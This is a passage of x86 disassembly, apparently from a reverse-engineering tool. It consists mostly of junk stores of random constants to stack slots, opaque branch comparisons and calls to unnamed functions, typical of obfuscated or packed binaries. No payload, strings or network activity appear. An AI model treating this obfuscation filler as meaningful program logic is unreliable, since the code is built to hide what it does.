mov word [ebp - 0x1158], ax
mov byte [ebp - 0x10c], 0x8b
mov dword [ebp - 0x4b20], 0x3fff26d2
mov dword [ebp - 0x4b24], 0x621ed53
mov ecx, 0x3ad
mov word [ebp - 0x115c], cx
mov edx, 0xc7d
mov word [ebp - 0x1160], dx
mov byte [ebp - 0x10d], 0xd6
mov dword [ebp - 0x4b28], 0xe099ba1
mov eax, 0x7ac
mov word [ebp - 0x1164], ax
mov dword [ebp - 0x4b2c], 0xb93168d
mov dword [ebp - 0x4b30], 0x40a4d027
mov dword [ebp - 0x4b34], 0xf8a4641
mov ecx, 0x71e9
mov word [ebp - 0x1168], cx
mov edx, 0xe78
mov word [ebp - 0x116c], dx
mov dword [ebp - 0x4b38], 0xc129de41
mov eax, 0x554
mov word [ebp - 0x1170], ax
mov dword [ebp - 0x4b3c], 0x12c30f09
mov dword [ebp - 0x4b40], 0xecaeedf4
mov ecx, 0x41b
mov word [ebp - 0x1174], cx
mov edx, 0x734
mov word [ebp - 0x1178], dx
mov dword [ebp - 0x4b44], 0xeafc3031
mov dword [ebp - 0x4b48], 0x5adc837c
mov dword [ebp - 0x4b4c], 0x7d90b9c7
mov dword [ebp - 0x4b50], 0x11d7d2c
mov dword [ebp - 0x4b54], 0x5cc602ea
mov dword [ebp - 0x4b58], 0x54dbd60f
mov byte [ebp - 0x10e], 0x74
mov dword [ebp - 0x4b5c], 0x5fa824d3
mov byte [ebp - 0x10f], 0x62
mov dword [ebp - 0x4b60], 0x57931214
mov dword [ebp - 0x4b64], 0xd372f360
mov byte [ebp - 0x110], 6
mov dword [ebp - 0x4b68], 0xd78612
mov dword [ebp - 0x4b6c], 0x6282c80f
mov dword [ebp - 0x4b70], 0xfc71cf6
mov byte [ebp - 0x111], 0x14
mov dword [ebp - 0x4b74], 0x4d9a402e
mov dword [ebp - 0x4b78], 0xbc52a9f
mov eax, 0xb8e
mov word [ebp - 0x117c], ax
mov dword [ebp - 0x4b7c], 0xa2c6e7fa
mov byte [ebp - 0x112], 0x81
mov ecx, 0x312e
mov word [ebp - 0x1180], cx
mov dword [ebp - 0x4b80], 0x2fa56a56
mov dword [ebp - 0x4b84], 0x7c4a3302
mov dword [ebp - 0x4b88], 0x1cf97660
mov dword [ebp - 0x4b8c], 0x66caea9e
mov byte [ebp - 0x113], 0x13
mov dword [ebp - 0x4b90], 0x68d5094
mov dword [ebp - 0x4b94], 0x897851ed
mov dword [ebp - 0x4b98], 0x10079780
mov dword [ebp - 0x4b9c], 0x50758913
mov dword [ebp - 0x4ba0], 0x33496932
mov dword [ebp - 0x4ba4], 0x36dcf43f
mov edx, 0x7af5
mov word [ebp - 0x1184], dx
mov byte [ebp - 0x114], 0x77
mov byte [ebp - 0x115], 0xaf
mov byte [ebp - 0x116], 0x1a
mov dword [ebp - 0x4ba8], 0x21e2faa3
mov dword [ebp - 0x4bac], 0x73ccca2
mov dword [ebp - 0x4bb0], 0x429bff91
mov dword [ebp - 0x4bb4], 0x2f89adde
mov dword [ebp - 0x4bb8], 0x903f99ba
mov dword [ebp - 0x4bbc], 0x583c00de
mov dword [ebp - 0x4bc0], 0x754d1ce5
mov dword [ebp - 0x4bc4], 0xdc588dc7
mov dword [ebp - 0x4bc8], 0xc97dc405
mov dword [ebp - 0x4bcc], 0x8190085f
mov dword [ebp - 0x4bd0], 0x3eb0b580
mov dword [ebp - 0x4bd4], 0x77ac64c5
mov dword [ebp - 0x4bd8], 0x6fa052bc
mov dword [ebp - 0x4bdc], 0x66b506a2
mov dword [ebp - 0x4be0], 0x230a4161
mov dword [ebp - 0x4be4], 0x28c753f9
mov dword [ebp - 0x4be8], 0x787ad786
mov byte [ebp - 0x117], 0x2a
mov eax, 0x56d
mov word [ebp - 0x1188], ax
mov dword [ebp - 0x4bec], 0x74ea74d2
mov dword [ebp - 0x4bf0], 0x651eaa1b
mov dword [ebp - 0x4bf4], 0xf21a2c11
mov byte [ebp - 0x118], 0xe
mov dword [ebp - 0x4bf8], 0x9e560a4
mov ecx, 0x5a2a
mov word [ebp - 0x118c], cx
mov dword [ebp - 0x4bfc], 0xc21a47a4
mov dword [ebp - 0x4c00], 0x398141a3
mov dword [ebp - 0x4c04], 0x6758547c
mov dword [ebp - 0x4c08], 0x793a85df
mov byte [ebp - 0x119], 0x16
mov byte [ebp - 0x11a], 0x26
mov edx, 0x7c1e
mov word [ebp - 0x1190], dx
mov byte [ebp - 0x11b], 0xe3
mov dword [ebp - 0x4c0c], 0xff9732f9
mov dword [ebp - 0x4c10], 0xdc948026
mov dword [ebp - 0x4c14], 0xccada650
mov dword [ebp - 0x4c18], 0x7d41bc01
mov dword [ebp - 0x4c1c], 0x669cbc34
mov dword [ebp - 0x4c20], 0x1afc9f3e
mov byte [ebp - 0x11c], 0x18
mov eax, 0x90b
mov word [ebp - 0x1194], ax
mov dword [ebp - 0x4c24], 0x69c3de74
mov dword [ebp - 0x4c28], 0x7176ceb5
mov dword [ebp - 0x4c2c], 0xe733d1f2
mov dword [ebp - 0x4c30], 0x4bb7265f
mov dword [ebp - 0x4c34], 0x78354311
mov dword [ebp - 0x4c38], 0x2e672a55
mov byte [ebp - 0x11d], 0xb5
mov dword [ebp - 0x4c3c], 0x6f5e233e
mov dword [ebp - 0x4c40], 0x6ce771ee
mov dword [ebp - 0x4c44], 0xcdfc6c
mov dword [ebp - 0x4c48], 0x714c0a1d
mov dword [ebp - 0x4c4c], 0x3294ce43
mov dword [ebp - 0x4c50], 0x329cd5fb
mov dword [ebp - 0x4c54], 0xedae64bd
mov dword [ebp - 0x4c58], 0xf83068e2
mov ecx, 0x3b5
mov word [ebp - 0x1198], cx
mov edx, 0x84a
mov word [ebp - 0x119c], dx
mov byte [ebp - 0x11e], 0x32
mov dword [ebp - 0x4c5c], 0x224d4ff8
mov dword [ebp - 0x4c60], 0x7437ca1e
mov dword [ebp - 0x4c64], 0x7eac76f4
mov dword [ebp - 0x4c68], 0x9f5f123
mov byte [ebp - 0x11f], 0
mov dword [ebp - 0x4c6c], 0x6c1cbb6c
mov dword [ebp - 0x4c70], 0xfe7d0172
mov eax, 0x44cf
mov word [ebp - 0x11a0], ax
mov ecx, 0x69a
mov word [ebp - 0x11a4], cx
mov dword [ebp - 0x4c74], 0xbcfe5f0
mov dword [ebp - 0x4c78], 0x200c0429
mov dword [ebp - 0x4c7c], 0x5f74528b
mov byte [ebp - 0x120], 0x3d
mov dword [ebp - 0x4c80], 0x68c7a896
mov byte [ebp - 0x121], 0x6c
mov dword [ebp - 0x4c84], 0x4c325421
mov byte [ebp - 0x122], 0x6c
mov edx, 0x69e
mov word [ebp - 0x11a8], dx
mov eax, 0x2ec0
mov word [ebp - 0x11ac], ax
mov byte [ebp - 0x123], 0xce
mov byte [ebp - 0x124], 0x60
mov byte [ebp - 0x125], 5
mov byte [ebp - 0x126], 8
mov dword [ebp - 0x4c88], 0x67504a
mov ecx, 0x251
mov word [ebp - 0x11b0], cx
mov dword [ebp - 0x4c8c], 0x75141ad3
mov edx, 0x43c
mov word [ebp - 0x11b4], dx
mov dword [ebp - 0x4c90], 0x695ac56b
mov dword [ebp - 0x4c94], 0x281796b
mov dword [ebp - 0x4c98], 0x4104d481
mov dword [ebp - 0x4c9c], 0x7af98db2
mov eax, 0x198
mov word [ebp - 0x11b8], ax
mov byte [ebp - 0x127], 0xf2
mov byte [ebp - 0x128], 0x9f
mov dword [ebp - 0x4ca0], 0x2214a2e2
mov byte [ebp - 0x129], 0xd4
mov dword [ebp - 0x4ca4], 0xb01c331
mov ecx, 0xe55
mov word [ebp - 0x11bc], cx
mov edx, 0x4241
mov word [ebp - 0x11c0], dx
mov dword [ebp - 0x4ca8], 0x1b70613f
mov byte [ebp - 0x12a], 0x58
mov dword [ebp - 0x4cac], 0x3ed5f751
mov byte [ebp - 0x12b], 0xa9
mov dword [ebp - 0x4cb0], 0x659369f2
mov eax, 0xd62
mov word [ebp - 0x11c4], ax
mov dword [ebp - 0x4cb4], 0x681bd5b4
mov dword [ebp - 0x4cb8], 0x34f720b5
mov byte [ebp - 0x12c], 0xab
mov dword [ebp - 0x4cbc], 0x7406b167
mov dword [ebp - 0x4cc0], 0x7041784e
mov dword [ebp - 0x4cc4], 0x8850fd8a
mov dword [ebp - 0x4cc8], 0x3c12d908
mov byte [ebp - 0x12d], 0x8f
mov dword [ebp - 0x4ccc], 0xa25f226a
mov byte [ebp - 0x12e], 6
mov dword [ebp - 0x4cd0], 0xdd281392
mov dword [ebp - 0x4cd4], 0x3c8c03f1
mov byte [ebp - 0x12f], 0x5b
mov dword [ebp - 0x4cd8], 0x8cc2bfc4
mov dword [ebp - 0x4cdc], 0x3f413f47
mov dword [ebp - 0x4ce0], 0x6009867f
mov dword [ebp - 0x4ce4], 0x66819626
mov dword [ebp - 0x4ce8], 0x65d7c01d
mov byte [ebp - 0x130], 0x81
mov ecx, 0x44c0
mov word [ebp - 0x11c8], cx
mov byte [ebp - 0x131], 0xe5
mov dword [ebp - 0x4cec], 0x51ae2951
mov byte [ebp - 0x132], 0xf3
mov dword [ebp - 0x4cf0], 0x2285d676
mov edx, 0x6e5
mov word [ebp - 0x11cc], dx
mov byte [ebp - 0x133], 0x2b
mov dword [ebp - 0x4cf4], 0x24f21b79
mov byte [ebp - 0x134], 0x74
mov byte [ebp - 0x135], 0x4c
mov eax, 0x11e3
mov word [ebp - 0x11d0], ax
mov dword [ebp - 0x4cf8], 0x33f8f863
mov dword [ebp - 0x4cfc], 0x6da09ae8
mov dword [ebp - 0x4d00], 0x600cee31
mov byte [ebp - 0x136], 0x7b
mov byte [ebp - 0x137], 0xb1
mov dword [ebp - 0x4d04], 0x8f316be3
mov ecx, 0x21e0
mov word [ebp - 0x11d4], cx
mov edx, 0x194
mov word [ebp - 0x11d8], dx
mov dword [ebp - 0x4d08], 0xc0a74ec7
mov eax, 0xc0a
mov word [ebp - 0x11dc], ax
mov dword [ebp - 0x4d0c], 0x41ec1cd0
mov ecx, 0xc1e
mov word [ebp - 0x11e0], cx
mov dword [ebp - 0x4d10], 0x101f37a2
mov byte [ebp - 0x138], 0xba
mov dword [ebp - 0x4d14], 0xe3ce6e6c
mov edx, 0x36a0
mov word [ebp - 0x11e4], dx
mov dword [ebp - 0x4d18], 0x35faca5f
mov eax, 0xd6c
mov word [ebp - 0x11e8], ax
mov ecx, 0x20e4
mov word [ebp - 0x11ec], cx
mov edx, 0x1b8
mov word [ebp - 0x11f0], dx
mov dword [ebp - 0x4d1c], 0x34c7c27d
mov eax, 0x1f86
mov word [ebp - 0x11f4], ax
mov ecx, 0x7772
mov word [ebp - 0x11f8], cx
mov dword [ebp - 0x4d20], 0x6299f979
mov dword [ebp - 0x4d24], 0x33d66e2
mov dword [ebp - 0x4d28], 0x530907bd
mov edx, 0x656
mov word [ebp - 0x11fc], dx
mov dword [ebp - 0x4d2c], 0x1f4463a8
mov eax, 0x4bfa
mov word [ebp - 0x1200], ax
mov dword [ebp - 0x4d30], 0xe1970b99
mov dword [ebp - 0x4d34], 0x28393b17
mov ecx, 0x252
mov word [ebp - 0x1204], cx
mov dword [ebp - 0x4d38], 0x4ad348f1
mov edx, 0x4681
mov word [ebp - 0x1208], dx
mov dword [ebp - 0x4d3c], 0xa15a53f0
mov dword [ebp - 0x4d40], 0x2844960a
mov eax, 0x3280
mov word [ebp - 0x120c], ax
mov dword [ebp - 0x4d44], 0x4777dfe4
mov dword [ebp - 0x4d48], 0x58e6cd9d
mov dword [ebp - 0x4d4c], 0xb4c461ff
mov ecx, 0xf50
mov word [ebp - 0x1210], cx
mov dword [ebp - 0x4d50], 0x6b6c766a
mov dword [ebp - 0x4d54], 0x42178666
mov dword [ebp - 0x4d58], 0x5393ac9b
mov byte [ebp - 0x139], 0x55
mov edx, 0x711
mov word [ebp - 0x1214], dx
mov dword [ebp - 0x4d5c], 0xba8033eb
mov dword [ebp - 0x4d60], 0x7ba2a180
mov byte [ebp - 0x13a], 0xf8
mov dword [ebp - 0x4d64], 0x385e1f2d
mov byte [ebp - 0x13b], 0x73
mov dword [ebp - 0x4d68], 0xa0d3f242
mov byte [ebp - 0x13c], 0x24
mov dword [ebp - 0x4d6c], 0x7e2eb310
mov eax, 0x27a
mov word [ebp - 0x1218], ax
mov dword [ebp - 0x4d70], 0x7df826bb
mov ecx, 0x80f
mov word [ebp - 0x121c], cx
mov dword [ebp - 0x4d74], 0x1f71bed8
mov dword [ebp - 0x4d78], 0xdf80ced6
mov edx, 0x8ad
mov word [ebp - 0x1220], dx
mov byte [ebp - 0x13d], 0xaf
mov dword [ebp - 0x4d7c], 0x32e908c9
mov byte [ebp - 0x13e], 0x57
mov eax, 0x5cd
mov word [ebp - 0x1224], ax
mov ecx, 0xacc
mov word [ebp - 0x1228], cx
mov dword [ebp - 0x4d80], 0x14fd27bd
mov edx, 0xcf6
mov word [ebp - 0x122c], dx
mov byte [ebp - 0x13f], 0xf3
mov dword [ebp - 0x4d84], 0x26003e62
mov eax, 0x6b2
mov word [ebp - 0x1230], ax
mov dword [ebp - 0x4d88], 0x287e890a
mov ecx, 0x7e2c
mov word [ebp - 0x1234], cx
mov dword [ebp - 0x4d8c], 0xb590b1ca
mov edx, 0x2b1
mov word [ebp - 0x1238], dx
mov dword [ebp - 0x4d90], 0x550415a8
mov dword [ebp - 0x4d94], 0x75b02add
mov dword [ebp - 0x4d98], 0x89241aab
mov dword [ebp - 0x4d9c], 0x194fc96b
mov dword [ebp - 0x4da0], 0x7d84d1f3
mov byte [ebp - 0x140], 0x76
mov eax, 0xcb8
mov word [ebp - 0x123c], ax
mov dword [ebp - 0x4da4], 0x5fb17a30
mov ecx, 0xe73
mov word [ebp - 0x1240], cx
mov byte [ebp - 0x141], 7
mov dword [ebp - 0x4da8], 0x8c91e0d4
mov dword [ebp - 0x4dac], 0x36ace338
mov byte [ebp - 0x142], 0xcd
mov byte [ebp - 0x143], 0x64
mov dword [ebp - 0x4db0], 0x64727b8e
mov byte [ebp - 0x144], 0x9d
mov byte [ebp - 0x145], 0xd7
mov dword [ebp - 0x4db4], 0xb0fec6b
mov byte [ebp - 0x146], 0x90
mov byte [ebp - 0x147], 0xbb
mov dword [ebp - 0x4db8], 0xd1a13c28
mov dword [ebp - 0x4dbc], 0x2f351663
mov dword [ebp - 0x4dc0], 0xc033a44a
mov dword [ebp - 0x4dc4], 0x520c5eff
mov dword [ebp - 0x4dc8], 0xbe82ba89
mov byte [ebp - 0x148], 0xc1
mov edx, 0xf09
mov word [ebp - 0x1244], dx
mov byte [ebp - 0x149], 0x9b
mov eax, 0x686
mov word [ebp - 0x1248], ax
mov dword [ebp - 0x4dcc], 0x429ab009
mov dword [ebp - 0x4dd0], 0x4c325ae5
mov byte [ebp - 0x14a], 0xb5
mov dword [ebp - 0x4dd4], 0x3c32a59
mov byte [ebp - 0x14b], 0x7d
mov dword [ebp - 0x4dd8], 0x302aba1
mov byte [ebp - 0x14c], 0x25
mov ecx, 0x71e
mov word [ebp - 0x124c], cx
mov dword [ebp - 0x4ddc], 0x7bc86b42
mov dword [ebp - 0x4de0], 0x60415e79
mov edx, 0x3ec6
mov word [ebp - 0x1250], dx
mov dword [ebp - 0x4de4], 0x5ba2a6a4
mov dword [ebp - 0x4de8], 0x1ff7aa9d
mov dword [ebp - 0x4dec], 0x4d95fc96
mov dword [ebp - 0x4df0], 0xaac12b9
mov dword [ebp - 0x4df4], 0x69c1313e
mov eax, 0x69c
mov word [ebp - 0x1254], ax
mov byte [ebp - 0x14d], 0xf
mov ecx, 0x7959
mov word [ebp - 0x1258], cx
mov dword [ebp - 0x4df8], 0x453ab5da
mov dword [ebp - 0x4dfc], 0x286bbdde
mov edx, 0x2567
mov word [ebp - 0x125c], dx
mov eax, 0x1eac
mov word [ebp - 0x1260], ax
mov byte [ebp - 0x14e], 0x26
mov ecx, 0x389
mov word [ebp - 0x1264], cx
mov dword [ebp - 0x4e00], 0x24a7a177
mov dword [ebp - 0x4e04], 0xf00f10c
mov dword [ebp - 0x4e08], 0x2fe8057b
mov edx, 0xfea
mov word [ebp - 0x1268], dx
mov byte [ebp - 0x14f], 5
mov dword [ebp - 0x4e0c], 0x4f24059a
mov dword [ebp - 0x4e10], 0xdd52de0
mov dword [ebp - 0x4e14], 0x483cbb78
mov byte [ebp - 0x150], 0xf3
mov dword [ebp - 0x4e18], 0x27035c09
mov dword [ebp - 0x4e1c], 0x1f1c60d
mov dword [ebp - 0x4e20], 0x6a65da6a
mov dword [ebp - 0x4e24], 0x5c04aa9c
mov byte [ebp - 0x151], 5
mov dword [ebp - 0x4e28], 0x66fbdcfa
mov dword [ebp - 0x4e2c], 0x13785b7b
mov byte [ebp - 0x152], 0xc4
mov dword [ebp - 0x4e30], 0x6cf3b4e5
mov byte [ebp - 0x153], 0x45
mov byte [ebp - 0x154], 0x44
mov eax, 0x79a
mov word [ebp - 0x126c], ax
mov dword [ebp - 0x4e34], 0x435f2ef4
mov dword [ebp - 0x4e38], 0x18b5e479
mov byte [ebp - 0x155], 0xd8
mov dword [ebp - 0x4e3c], 0x43f9b810
mov dword [ebp - 0x4e40], 0x23b0a1cf
mov ecx, 0x116f
mov word [ebp - 0x1270], cx
mov byte [ebp - 0x156], 0xd1
mov edx, 0xb1e
mov word [ebp - 0x1274], dx
mov dword [ebp - 0x4e44], 0x53b3c85a
mov byte [ebp - 0x157], 0xb
mov dword [ebp - 0x4e48], 0x4aec0782
mov dword [ebp - 0x4e4c], 0x2a32ab0a
mov dword [ebp - 0x4e50], 0x19f9eca1
mov dword [ebp - 0x4e54], 0xd13bf4cd
mov byte [ebp - 0x158], 0x10
mov byte [ebp - 0x159], 0xbb
mov byte [ebp - 0x15a], 0xe9
mov dword [ebp - 0x4e58], 0x362f0ee2
mov dword [ebp - 0x4e5c], 0x1f672f2
mov dword [ebp - 0x4e60], 0x608f85
mov byte [ebp - 0x15b], 0xb2
mov byte [ebp - 0x15c], 0xd
mov dword [ebp - 0x4e64], 0x8e26d8f
mov dword [ebp - 0x4e68], 0x3c100ce0
mov dword [ebp - 0x4e6c], 0x25a089ee
mov dword [ebp - 0x4e70], 0x2e0f4261
mov dword [ebp - 0x4e74], 0xcb306946
mov dword [ebp - 0x4e78], 0x21d50a8a
mov dword [ebp - 0x4e7c], 0x43e63795
mov dword [ebp - 0x4e80], 0x4f5af8e6
mov byte [ebp - 0x15d], 0x48
mov eax, 0x44c7
mov word [ebp - 0x1278], ax
mov ecx, 0xf17
mov word [ebp - 0x127c], cx
mov dword [ebp - 0x4e84], 0x37597628
mov edx, 0x3e06
mov word [ebp - 0x1280], dx
mov dword [ebp - 0x4e88], 0x50e0859
mov dword [ebp - 0x4e8c], 0x89aa871
mov byte [ebp - 0x15e], 0x94
mov byte [ebp - 0x15f], 0x39
mov eax, 0xe23
mov word [ebp - 0x1284], ax
mov dword [ebp - 0x4e90], 0x124cdf78
mov dword [ebp - 0x4e94], 0x4fe15bb
mov byte [ebp - 0x160], 0x90
mov dword [ebp - 0x4e98], 0x32d3e4ad
mov dword [ebp - 0x4e9c], 0x3a104180
mov ecx, 0x95a
mov word [ebp - 0x1288], cx
mov byte [ebp - 0x161], 0x37
mov byte [ebp - 0x162], 0x73
mov edx, 0x43b8
mov word [ebp - 0x128c], dx
mov eax, 0xd4e
mov word [ebp - 0x1290], ax
mov dword [ebp - 0x4ea0], 0xa4890a7d
mov dword [ebp - 0x4ea4], 0xb2543719
mov dword [ebp - 0x4ea8], 0x698ea84d
mov byte [ebp - 0x163], 0x4d
mov dword [ebp - 0x4eac], 0x711da6af
mov byte [ebp - 0x164], 5
mov dword [ebp - 0x4eb0], 0x153d0818
mov byte [ebp - 0x165], 0xf2
mov ecx, 0x258
mov word [ebp - 0x1294], cx
mov dword [ebp - 0x4eb4], 0x5def4c07
mov dword [ebp - 0x4eb8], 0x21dcfdda
mov dword [ebp - 0x4ebc], 0x906d98f4
mov dword [ebp - 0x4ec0], 0x3157423
mov byte [ebp - 0x166], 0x58
mov byte [ebp - 0x167], 0x22
mov edx, 0xedb
mov word [ebp - 0x1298], dx
mov dword [ebp - 0x4ec4], 0x3f1cb0bd
mov dword [ebp - 0x4ec8], 0x15d70e6f
mov byte [ebp - 0x168], 0x39
mov byte [ebp - 0x169], 0xd3
mov dword [ebp - 0x4ecc], 0x7a89a966
mov dword [ebp - 0x4ed0], 0x282ead51
mov dword [ebp - 0x4ed4], 0x14fd4451
mov byte [ebp - 0x16a], 8
mov byte [ebp - 0x16b], 0x2a
mov dword [ebp - 0x4ed8], 0x332ad0e2
mov dword [ebp - 0x4edc], 0x591b584
mov byte [ebp - 0x16c], 0x58
mov eax, 0x2b69
mov word [ebp - 0x129c], ax
mov byte [ebp - 0x16d], 0xa
mov dword [ebp - 0x4ee0], 0x3061fc26
mov ecx, 0x5c7d
mov word [ebp - 0x12a0], cx
mov dword [ebp - 0x4ee4], 0x37631097
mov dword [ebp - 0x4ee8], 0xfab8ce0d
mov byte [ebp - 0x16e], 0xc8
mov byte [ebp - 0x16f], 0x4a
mov byte [ebp - 0x170], 0x29
mov edx, 0x608
mov word [ebp - 0x12a4], dx
mov dword [ebp - 0x4eec], 0x2a062845
mov byte [ebp - 0x171], 0x15
mov byte [ebp - 0x172], 7
mov eax, 0x78a5
mov word [ebp - 0x12a8], ax
mov ecx, 0xa56
mov word [ebp - 0x12ac], cx
mov dword [ebp - 0x4ef0], 0x7b6f70cc
mov edx, 0x4cb
mov word [ebp - 0x12b0], dx
mov dword [ebp - 0x4ef4], 0x4ed3dddf
mov eax, 0xa3a
mov word [ebp - 0x12b4], ax
mov dword [ebp - 0x4ef8], 0x7f408a6f
mov dword [ebp - 0x4efc], 0x7814ddc9
mov ecx, 0xac2
mov word [ebp - 0x12b8], cx
mov byte [ebp - 0x173], 0x40
mov edx, 0x414
mov word [ebp - 0x12bc], dx
mov dword [ebp - 0x4f00], 0x3c26d097
mov byte [ebp - 0x174], 0x76
mov dword [ebp - 0x4f04], 0x30b34a69
mov dword [ebp - 0x4f08], 0x26e94fc5
mov dword [ebp - 0x4f0c], 0x30140fa5
mov dword [ebp - 0x4f10], 0x2349f053
mov dword [ebp - 0x4f14], 0x5b262d4b
mov eax, 0xbce
mov word [ebp - 0x12c0], ax
mov byte [ebp - 0x175], 0x7c
mov ecx, 0x4286
mov word [ebp - 0x12c4], cx
mov edx, 0xebd
mov word [ebp - 0x12c8], dx
mov eax, 0x6ed8
mov word [ebp - 0x12cc], ax
mov dword [ebp - 0x4f18], 0x34daf736
mov byte [ebp - 0x176], 0x5b
mov dword [ebp - 0x4f1c], 0x1b9db97e
mov dword [ebp - 0x4f20], 0x36624fb9
mov dword [ebp - 0x4f24], 0xd0a46b65
mov ecx, 0x199
mov word [ebp - 0x12d0], cx
mov dword [ebp - 0x4f28], 0x2e567f54
mov edx, 0xce0
mov word [ebp - 0x12d4], dx
mov dword [ebp - 0x4f2c], 0xdc53d2f9
mov eax, 0x120f
mov word [ebp - 0x12d8], ax
mov dword [ebp - 0x4f30], 0xc09e8adb
mov ecx, 0x3f5a
mov word [ebp - 0x12dc], cx
mov byte [ebp - 0x177], 0x42
mov dword [ebp - 0x4f34], 0x43ef92f2
mov byte [ebp - 0x178], 0xcc
mov dword [ebp - 0x4f38], 0xe53b05cc
mov edx, 0xf86
mov word [ebp - 0x12e0], dx
mov dword [ebp - 0x4f3c], 0x2b52a48f
mov dword [ebp - 0x4f40], 0xab0442fa
mov dword [ebp - 0x4f44], 0x34ac7b47
mov eax, 0x244
mov word [ebp - 0x12e4], ax
mov ecx, 0x4cd2
mov word [ebp - 0x12e8], cx
mov edx, 7
mov word [ebp - 0x12ec], dx
mov eax, 0xb8b
mov word [ebp - 0x12f0], ax
mov byte [ebp - 0x179], 0x21
mov dword [ebp - 0x4f48], 0x28d843d0
mov ecx, 0x2fe
mov word [ebp - 0x12f4], cx
movzx edx, word [ebp - 0x12f4]
mov dword [ebp - 0x4f4c], edx
cmp dword [ebp - 0x4f4c], 0x2fe
je 0x4215a6
cmp dword [ebp - 0x4f4c], 0x4a9
je 0x421563
jmp 0x4215db
movzx eax, word [ebp - 0x12f4]
add eax, 0x97c
mov word [ebp - 0x12f4], ax
movzx ecx, word [ebp - 0x12f4]
push ecx
movzx edx, word [ebp - 0x12f4]
push edx
movzx eax, word [ebp - 0x12f4]
push eax
movzx ecx, word [ebp - 0x12f4]
push ecx
movzx edx, word [ebp - 0x12f4]
push edx
call fcn.00581c00
nop
jmp 0x4215db
movsx eax, byte [0x5a8004]
sub eax, 0x37
mov byte [0x5a8004], al
movsx ecx, byte [0x5a8004]
and ecx, 0x36
mov byte [ebp - 0x140], cl
mov edx, 0x7b19
mov word [ebp - 0x12f8], dx
mov dword [ebp - 0x4f50], 0x52f9
mov dword [ebp - 0x4f54], 0xe457
movsx eax, word [ebp - 0x12f8]
cmp eax, 0x7886
jge 0x421628
movsx ecx, byte [0x5a8004]
shl ecx, 2
mov byte [ebp - 0x140], cl
movzx edx, word [ebp - 0x12f4]
sar edx, 0xf
mov word [ebp - 0x12f4], dx
push 0x61
movzx eax, word [ebp - 0x12f4]
push eax
push 0x45
call fcn.00581290
add esp, 0xc
mov dword [ebp - 0x4f58], 0x719e
cmp dword [ebp - 0x4f58], 0xa3ce
je 0x4217b5
movzx ecx, word [ebp - 0x12f4]
xor ecx, 0x2cd
mov word [ebp - 0x12f4], cx
movzx edx, word [ebp - 0x12f4]
or edx, 0xdf3
mov word [ebp - 0x12f4], dx
movzx eax, word [ebp - 0x12f4]
add eax, 0x47f
mov word [ebp - 0x12f4], ax
movzx ecx, word [ebp - 0x12f4]
sub ecx, 0xe47
mov word [ebp - 0x12f4], cx
movsx edx, byte [0x5a8004]
and edx, 0x2a
mov byte [ebp - 0x140], dl
movsx eax, byte [0x5a8004]
add eax, 0x78
mov byte [ebp - 0x140], al
movsx ecx, word [ebp - 0x12f8]
sub ecx, 0x5b48
mov word [ebp - 0x12f8], cx
movsx edx, byte [ebp - 0x140]
add edx, 0x63
mov byte [0x5a8004], dl
movzx eax, word [ebp - 0x12f4]
sub eax, 0x5a
mov word [ebp - 0x12f4], ax
movzx ecx, word [ebp - 0x12f4]
sar ecx, 0xd
mov word [ebp - 0x12f4], cx
movzx edx, word [ebp - 0x12f4]
shl edx, 0xe
mov word [ebp - 0x12f4], dx
movzx eax, word [ebp - 0x12f4]
or eax, 0x2c4
mov word [ebp - 0x12f4], ax
movzx ecx, word [ebp - 0x12f4]
xor ecx, 0xe0a
mov word [ebp - 0x12f4], cx
movsx edx, word [ebp - 0x12f8]
and edx, 0x2987
mov word [ebp - 0x12f8], dx
movsx eax, byte [0x5a8004]
add eax, 0x6b
mov byte [ebp - 0x140], al
movzx ecx, word [ebp - 0x12f4]
sub ecx, 0x3b0
mov word [ebp - 0x12f4], cx
mov edx, dword [ebp - 0x4f58]
add edx, 0x92
mov dword [ebp - 0x4f58], edx
movsx eax, word [ebp - 0x12f8]
sub eax, 0x16b4
mov word [ebp - 0x12f8], ax
movsx ecx, byte [0x5a8004]
add ecx, 0x65
mov byte [ebp - 0x140], cl
movzx edx, word [ebp - 0x12f4]
and edx, 0x42e
mov word [ebp - 0x12f4], dx
jmp 0x421632
movzx eax, word [ebp - 0x12f4]
cmp eax, 0x682
jl 0x421821
movsx ecx, word [ebp - 0x12f8]
mov dword [ebp - 0x4f5c], ecx
cmp dword [ebp - 0x4f5c], 0x71c
je 0x4217de
jmp 0x421803
push 0x2c
push 0x2c
push 0x4a
mov dl, 0xf7
mov ecx, 0xf7
call fcn.00581810
movsx edx, word [ebp - 0x12f8]
shl edx, 3
mov word [ebp - 0x12f8], dx
jmp 0x42181c
push 0x5c
push 0xc1
push 0x84
mov dl, 0x22
mov ecx, 0xc2
call fcn.00581810
nop
jmp 0x5811f8
movsx eax, word [ebp - 0x12f8]
cmp eax, 0x6caf
jg 0x5811f8
mov dword [ebp - 0x4f60], 0xe313925d
mov dword [ebp - 0x4f64], 0x7299
mov cl, byte [ebp - 0x140]
mov byte [ebp - 0x17a], cl
mov dword [ebp - 0x4f68], 0x3a06
mov dword [ebp - 0x4f6c], 0xb6a3
cmp dword [ebp - 0x4f60], 0x6b7154ab
jne 0x42188f
movsx edx, byte [ebp - 0x17a]
movsx ecx, byte [ebp - 0x140]
sar edx, cl
mov byte [0x5a8004], dl
call fcn.005816b0
nop
mov ax, word [ebp - 0x12f4]
mov word [ebp - 0x12fc], ax
mov ecx, dword [ebp - 0x4f60]
and ecx, 0xc4c09835
cmp ecx, 0xc5b3db6a
jb 0x421923
movsx edx, word [ebp - 0x12f8]
mov dword [ebp - 0x4f70], edx
cmp dword [ebp - 0x4f70], 0x7da2
je 0x4218cc
jmp 0x421911
movsx eax, byte [ebp - 0x17a]
movsx ecx, byte [0x5a8004]
sub eax, ecx
mov byte [ebp - 0x140], al
movzx edx, word [ebp - 0x12fc]
add edx, 0x6af
mov word [ebp - 0x12f4], dx
mov eax, dword [ebp - 0x4f60]
push eax
movzx ecx, word [ebp - 0x12fc]
push ecx
push 0x58
call fcn.00581290
add esp, 0xc
jmp 0x421923
mov edx, dword [ebp - 0x4f60]
add edx, 0x2c30985b
mov dword [ebp - 0x4f60], edx
mov dword [ebp - 0x4f74], 0xeaff
mov eax, dword [ebp - 0x4f60]
sub eax, 0x3c6ab9bf
cmp eax, 0xaccd483d
jbe 0x421951
mov ecx, dword [ebp - 0x4f60]
add ecx, 0xd182c969
mov dword [ebp - 0x4f60], ecx
mov dx, word [ebp - 0x12f4]
mov word [ebp - 0x1300], dx
movsx eax, word [ebp - 0x12f8]
cmp eax, 0x5015
jle 0x42199b
movzx ecx, word [ebp - 0x12fc]
push ecx
movzx edx, word [ebp - 0x12f4]
push edx
